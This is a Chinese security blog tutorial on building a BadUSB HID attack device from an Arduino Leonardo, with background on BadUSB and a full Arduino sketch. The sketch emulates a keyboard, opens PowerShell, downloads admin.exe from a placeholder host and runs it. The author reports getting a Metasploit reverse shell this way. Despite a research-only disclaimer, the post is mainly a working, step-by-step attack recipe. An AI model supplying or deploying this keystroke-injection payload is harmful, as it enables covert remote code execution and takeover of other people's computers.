暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

IOT&无线电|BadUSB HID攻击

Master学安全 2021-07-12
814

以下内容仅供技术研究学习使用!

严禁用于非法操作!

切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!


BadUSB

什么是BadUsb

简介

在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。


BadUSB攻击优势

BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。


BadUSB HID 攻击原理

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。


Teensy

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。


Arduino

Arduino是一款便捷灵活、方便上手的开源电子原型平台。它构建于开放原始码simple

I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

攻击流程

Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

制作工具

去淘宝找badusb

硬件Badusb Leonardo USB ATMEGA32U4

制作软件arduino

下载地址:https://www.arduino.cc/en/software/


开始制作badusb

先将淘宝买好的badusb插入到电脑中打开 arduino 开发板选择arduino leonardo还有com口

然后开始再 setup()函数中编写程序

    #include <Keyboard.h>
    void setup() {
    Keyboard.begin();
    delay(1000);
    Keyboard.press(KEY_LEFT_GUI);
    delay(500);
    Keyboard.press('r');//按下r键
    delay(500);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    delay(500);
    Keyboard.println("cmd ");
    delay(500);
    Keyboard.press(KEY_RETURN);
    delay(500);
    Keyboard.release(KEY_RETURN);
    Keyboard.println("start powershell");
    delay(500);
    Keyboard.press(KEY_RETURN);
    delay(500);
    Keyboard.release(KEY_RETURN);
    delay(500);
    Keyboard.println("$client = new-object System.Net.WebClient");
    delay(500);
    Keyboard.press(KEY_RETURN);
    delay(500);
    Keyboard.release(KEY_RETURN);
    Keyboard.println("$client.DownloadFile('http://www.xxx.com/admin.exe','C:/Users/Master/Desktop/admin.exe')");
    Keyboard.press(KEY_RETURN);
    delay(500);
    Keyboard.release(KEY_RETURN);
    delay(1000);
    Keyboard.println("exit");
    Keyboard.press(KEY_RETURN);
    delay(1000);
    Keyboard.release(KEY_RETURN);
    delay(1000);
    Keyboard.println("cd Desktop");
    Keyboard.press(KEY_RETURN);
    delay(1000);
    Keyboard.release(KEY_RETURN);
    delay(1000);
    Keyboard.println("admin.exe");
    Keyboard.press(KEY_RETURN);
    delay(1000);
    Keyboard.release(KEY_RETURN);
    delay(1000);
    Keyboard.println("exit");
    Keyboard.press(KEY_RETURN);
    delay(1000);
    Keyboard.release(KEY_RETURN);
    Keyboard.end();//结束键盘通讯
    }
    void loop() {

    }

    具体按键设置

      delay(5000);//延时毫秒  延时5秒
      Keyboard.begin(); //开始键盘通讯
      Keyboard.end(); //结束键盘通讯
      Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
      Keyboard.release(); //释放键盘按键
      Keyboard.println(""); //输入字符串使用双引号括起来
      Mouse.begin();//鼠标事件开始
      Mouse.click();//鼠标单击
      Mouse.end();//鼠标事件结束
      Mouse.move();//鼠标移动(x,y)
      Mouse.press();//鼠标按下
      Mouse.release();//鼠标松开
      Mouse.isPressed();//检查鼠标上的按键有没有被按下
      //Win键
      KEY_LEFT_CTRL
      KEY_LEFT_SHIFT
      KEY_LEFT_ALT
      KEY_LEFT_GUI
      KEY_RIGHT_CTRL
      KEY_RIGHT_SHIFT
      KEY_RIGHT_ALT
      KEY_RIGHT_GUI
      KEY_UP_ARROW
      KEY_DOWN_ARROW
      KEY_LEFT_ARROW
      KEY_RIGHT_ARROW
      KEY_BACKSPACE
      KEY_TAB
      KEY_RETURN//回车键
      KEY_ESC
      KEY_INSERT
      KEY_DELETE
      KEY_PAGE_UP
      KEY_PAGE_DOWN
      KEY_HOME
      KEY_END
      KEY_CAPS_LOCK
      KEY_F1
      KEY_F2
      KEY_F3
      KEY_F4
      KEY_F5
      KEY_F6
      KEY_F7
      KEY_F8
      KEY_F9
      KEY_F10
      KEY_F11
      KEY_F12



      写完了然后先编译,编译成功没问题再上传写入到BadUSB的固件中

      勾是编译,箭头是上传


      测试

      插入badUSB 打开powershell 下载msf的马成功反弹拿到权限

      =================================

      精彩推荐

      IOT&无线电|SDR嗅探GSM网络

      SRC实战|记一次edusrc挖掘艰难Getshell

      =================================

      看到这了就点个关注支持以下吧,你的关注是我创作的动力。

      公众号:Master学安全

                       
                                   Master学安全                                  
      分享记录一些自己网络安全方面的学习历程。专注于研究web安全、代码审计,内网安全,IOT&无线电安全
      公众号


      文章转载自Master学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论